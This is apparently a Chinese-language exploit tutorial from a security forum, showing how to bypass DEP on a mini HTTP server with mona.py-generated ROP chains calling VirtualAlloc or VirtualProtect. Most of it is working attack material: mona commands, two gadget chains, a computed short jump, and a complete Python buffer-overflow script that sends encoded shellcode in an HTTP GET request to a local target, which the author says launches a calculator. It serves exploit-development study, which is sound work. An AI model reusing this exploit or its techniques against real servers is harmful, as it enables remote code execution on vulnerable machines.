根据 Windows 版本的不同,有不同的API功能,最常用的是VirtualAlloc和VirtualProtect。
VirtualAlloc在官方文档中使用语法为:
1 2 3 4 5 6 | LPVOID VirtualAlloc( [in, optional] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD flAllocationType, [in] DWORD flProtect ); |
VirtualAlloc接收的参数是开始预留的内存地址、要预留的内存大小(以字节为单位)、要进行的预留类型以及预留页的内存保护。最后一个参数,如果设置为0x40(PAGE_EXECUTE_READWRITE)
,将允许我们在该保留内存区域中执行代码。
VirtualProtect在官方文档中使用语法为:
1 2 3 4 5 6 | BOOL VirtualProtect( [in] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD flNewProtect, [out] PDWORD lpflOldProtect ); |
VirtualProtect接收的参数用于更改保护的地址、要更改的区域的字节大小、所需的保护类型 (0x40) 以及指向将接收区域当前保护值的变量的指针。最后一个值必须是一个正确的变量,如果它为null或不存在的变量,则调用将失败。
我们在Immunity Debugger中运行!mona rop
,来查找可利用的rop指令:
生成的结果保存在了rop.txt、rop_chains.txt、rop_suggestions.txt、stackpivot.txt文件中。
在rop_chains.txt文件中,mona尝试生成一串指令来调用Virtualalloc 或Virtualprotect函数,并将堆栈标记为可执行,以便执行我们的shellcode。这串指令在 Python、Ruby 或 Javascript 中以函数的形式呈现,以便能够直接插入到我们的漏洞中。
这是mona创建的函数,用于从python中调用Virtualalloc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | * * * [ Python ] * * * def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ #[---INFO:gadgets_to_set_esi:---] 0x00000000 , # [-] Unable to find API pointer -> eax 0x0040c17f , # MOV EAX,DWORD PTR DS:[EAX] # RETN [minihttpd.exe] 0x004176cf , # PUSH EAX # POP ESI # RETN 0x04 [minihttpd.exe] #[---INFO:gadgets_to_set_ebp:---] 0x0040b89b , # POP EBP # RETN [minihttpd.exe] 0x41414141 , # Filler (RETN offset compensation) 0x004165ec , # & push esp # ret 0x0c [minihttpd.exe] #[---INFO:gadgets_to_set_ebx:---] 0x0040d121 , # POP EBX # RETN [minihttpd.exe] 0x00000201 , # 0x00000201-> ebx #[---INFO:gadgets_to_set_edx:---] 0x0040c1f6 , # POP EBX # RETN [minihttpd.exe] 0x00000040 , # 0x00000040-> edx 0x0040c93c , # XOR EDX,EDX # RETN [minihttpd.exe] 0x0040aeae , # ADD EDX,EBX # POP EBX # RETN 0x10 [minihttpd.exe] 0x41414141 , # Filler (compensate) #[---INFO:gadgets_to_set_ecx:---] 0x0040ef10 , # POP ECX # RETN [minihttpd.exe] 0x41414141 , # Filler (RETN offset compensation) 0x41414141 , # Filler (RETN offset compensation) 0x41414141 , # Filler (RETN offset compensation) 0x41414141 , # Filler (RETN offset compensation) 0x00420f95 , # &Writable location [minihttpd.exe] #[---INFO:gadgets_to_set_edi:---] 0x00405be9 , # POP EDI # RETN [minihttpd.exe] 0x00403f01 , # RETN (ROP NOP) [minihttpd.exe] #[---INFO:gadgets_to_set_eax:---] 0x0040d1ec , # POP EAX # RETN [minihttpd.exe] 0x90909090 , # nop #[---INFO:pushad:---] 0x00419126 , # PUSHAD # ADD AL,0 # RETN [minihttpd.exe] ] return ' '.join(struct.pack(' <I', _) for _ in rop_gadgets) rop_chain = create_rop_chain() |
但是这里面包含了坏字符,我们需要进行排除:
1 | !mona rop - cpb "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f" |
运行mona rop
后,rop_chains.txt文件我们将看到无法生成字符串,因为没有指令可以生成没有坏字符的字符串。
默认情况下,当 mona 搜索 ROP 字符串时,它会丢弃操作系统自己的模块来查找gadget。在本例中,我们将强制 mona使用其他模块来查看是否能找到任何有效的字符串。直接在全部模块找可利用的Virtualalloc ROP:
1 | !mona rop - cpb "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f" - m * .dll |
这一次在rop_chains.txt中,我们发现了以下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | * * * [ Python ] * * * def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ #[---INFO:gadgets_to_set_esi:---] 0x77c34fcd , # POP EAX # RETN [msvcrt.dll] 0x77dd121c , # ptr to &VirtualAlloc() [IAT ADVAPI32.dll] 0x77e82d1c , # MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll] 0x77f53564 , # XCHG EAX,ESI # RETN [GDI32.dll] #[---INFO:gadgets_to_set_ebp:---] 0x77c31a04 , # POP EBP # RETN [msvcrt.dll] 0x77df965b , # & jmp esp [ADVAPI32.dll] #[---INFO:gadgets_to_set_ebx:---] 0x77eed7ae , # POP EAX # RETN [RPCRT4.dll] 0xffffffff , # Value to negate, will become 0x00000001 0x76fb1ded , # NEG EAX # RETN [winrnr.dll] 0x77f301e4 , # XCHG EAX,EBX # RETN [GDI32.dll] #[---INFO:gadgets_to_set_edx:---] 0x7c87f229 , # POP EAX # RETN [kernel32.dll] 0xa2800fc0 , # put delta into eax (-> put 0x00001000 into edx) 0x7c87fa01 , # ADD EAX,5D800040 # RETN 0x04 [kernel32.dll] 0x77c58fbc , # XCHG EAX,EDX # RETN [msvcrt.dll] 0x41414141 , # Filler (RETN offset compensation) #[---INFO:gadgets_to_set_ecx:---] 0x77eed7ae , # POP EAX # RETN [RPCRT4.dll] 0xffffffc0 , # Value to negate, will become 0x00000040 0x5ad7e91c , # NEG EAX # RETN [uxtheme.dll] 0x77c14001 , # XCHG EAX,ECX # RETN [msvcrt.dll] #[---INFO:gadgets_to_set_edi:---] 0x7c902563 , # POP EDI # RETN [ntdll.dll] 0x77e8d224 , # RETN (ROP NOP) [RPCRT4.dll] #[---INFO:gadgets_to_set_eax:---] 0x7c87fbcb , # POP EAX # RETN [kernel32.dll] 0x90909090 , # nop #[---INFO:pushad:---] 0x7e423ad9 , # PUSHAD # RETN [USER32.dll] ] return ' '.join(struct.pack(' <I', _) for _ in rop_gadgets) rop_chain = create_rop_chain() |
现在,我们有一个有效的漏洞利用指令链,它将执行VirtualAlloc来更改进程堆栈的状态,并允许我们在其上执行代码。
在我们之前的漏洞利用中,我们使用从USER32.dll获取的地址来执行jmp esp
,该地址是为了执行ESP指向的代码。由于我们现在在ESP中拥有的不是代码,而是指向代码的指针,因此我们需要将该地址更改为ret。ret语句的作用是从堆栈顶部获取值并将其放入EIP(指向指令的指针)中。
生成rop.txt:
1 | !mona rop - cpb "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f" - m * .dll |
从rop.txt文件中,我们可以找到可利用的# POP ECX # RETN
这种gadget,我们使用这一条:
1 | 0x77c4017f : # POP ECX # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ} |
这条指令的含义为:POP ECX
:将从堆栈中弹出栈顶的值并将其存储在 ECX 寄存器中。RETN
:弹出栈顶的值输入到EIP中,执行EIP。
计算跳转到shellcode的偏移(最好用$+0x28
):
1 2 3 | metasm > Interrupt: use the 'exit' command to quit metasm > jmp $ + 0x24 "\xeb\x22" |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 | import sys import socket import struct # Bad Chars: \x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f' offset_eip = 967 offset_shellcode = 103 # use to 'A' EIP = struct.pack( '<I' , 0x77c4017f ) # POP ECX, RET (msvcrt.dll) JMP = '\xeb\x22' # jmp $+0x24 Jump to shellcode buffer = 'A' * offset_shellcode shellcode = ( "\xb8\x69\xfc\x2c\xd8\xdb\xc9\xd9\x74\x24\xf4\x5e\x29\xc9" "\xb1\x31\x31\x46\x13\x83\xc6\x04\x03\x46\x66\x1e\xd9\x24" "\x90\x5c\x22\xd5\x60\x01\xaa\x30\x51\x01\xc8\x31\xc1\xb1" "\x9a\x14\xed\x3a\xce\x8c\x66\x4e\xc7\xa3\xcf\xe5\x31\x8d" "\xd0\x56\x01\x8c\x52\xa5\x56\x6e\x6b\x66\xab\x6f\xac\x9b" "\x46\x3d\x65\xd7\xf5\xd2\x02\xad\xc5\x59\x58\x23\x4e\xbd" "\x28\x42\x7f\x10\x23\x1d\x5f\x92\xe0\x15\xd6\x8c\xe5\x10" "\xa0\x27\xdd\xef\x33\xee\x2c\x0f\x9f\xcf\x81\xe2\xe1\x08" "\x25\x1d\x94\x60\x56\xa0\xaf\xb6\x25\x7e\x25\x2d\x8d\xf5" "\x9d\x89\x2c\xd9\x78\x59\x22\x96\x0f\x05\x26\x29\xc3\x3d" "\x52\xa2\xe2\x91\xd3\xf0\xc0\x35\xb8\xa3\x69\x6f\x64\x05" "\x95\x6f\xc7\xfa\x33\xfb\xe5\xef\x49\xa6\x63\xf1\xdc\xdc" "\xc1\xf1\xde\xde\x75\x9a\xef\x55\x1a\xdd\xef\xbf\x5f\x11" "\xba\xe2\xc9\xba\x63\x77\x48\xa7\x93\xad\x8e\xde\x17\x44" "\x6e\x25\x07\x2d\x6b\x61\x8f\xdd\x01\xfa\x7a\xe2\xb6\xfb" "\xae\x81\x59\x68\x32\x68\xfc\x08\xd1\x74" ) def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ #[---INFO:gadgets_to_set_esi:---] 0x77c21d16 , # POP EAX # RETN [msvcrt.dll] 0x77e71210 , # ptr to &VirtualProtect() [IAT RPCRT4.dll] 0x77e87a76 , # MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll] 0x5d0f11f6 , # XCHG EAX,ESI # RETN [COMCTL32.dll] #[---INFO:gadgets_to_set_ebp:---] 0x77c20583 , # POP EBP # RETN [msvcrt.dll] 0x77df965b , # & jmp esp [ADVAPI32.dll] #[---INFO:gadgets_to_set_ebx:---] 0x76f3c426 , # POP EAX # RETN [DNSAPI.dll] 0xfffffdff , # Value to negate, will become 0x00000201 0x77dd9b06 , # NEG EAX # RETN [ADVAPI32.dll] 0x77f301e4 , # XCHG EAX,EBX # RETN [GDI32.dll] #[---INFO:gadgets_to_set_edx:---] 0x7c87f318 , # POP EAX # RETN [kernel32.dll] 0xffffffc0 , # Value to negate, will become 0x00000040 0x76f75057 , # NEG EAX # RETN [WLDAP32.dll] 0x77c58fbc , # XCHG EAX,EDX # RETN [msvcrt.dll] #[---INFO:gadgets_to_set_ecx:---] 0x77c521ee , # POP ECX # RETN [msvcrt.dll] 0x7e47292c , # &Writable location [USER32.dll] #[---INFO:gadgets_to_set_edi:---] 0x7c902579 , # POP EDI # RETN [ntdll.dll] 0x77e8d224 , # RETN (ROP NOP) [RPCRT4.dll] #[---INFO:gadgets_to_set_eax:---] 0x7c880176 , # POP EAX # RETN [kernel32.dll] 0x90909090 , # nop #[---INFO:pushad:---] 0x77dfc5ee , # PUSHAD # RETN [ADVAPI32.dll] ] return ' '.join(struct.pack(' <I', _) for _ in rop_gadgets) rop = create_rop_chain() # payload = 'A' * 103 + shellcode + 'A' * (until 967) + EIP + '\xff\xff\xff\xff' + rop + JMP + 'E' * (until 1500) buffer + = shellcode buffer + = 'A' * (offset_eip - len ( buffer )) buffer + = EIP buffer + = '\xff\xff\xff\xff' # value poped to ECX (padding) buffer + = rop buffer + = JMP buffer + = 'E' * ( 1500 - len ( buffer )) HOST = '127.0.0.1' PORT = 80 req = "GET /" + buffer + "HTTP/1.1\r\n\r\n" print "Sending " + str ( len (req)) + " bytes." s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send(req) data = s.recv( 1024 ) s.close() print 'Received' , repr (data) |
可以看到已经可以正常弹出计算器了:
参考链接
https://whereisk0shl.top/post/2016-10-24
https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/windows/ftp/absolute_ftp_list_bof
Windows Shellcode学习笔记——利用VirtualAlloc绕过DEP
dep-bypass-mini-httpd-server-1-2
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)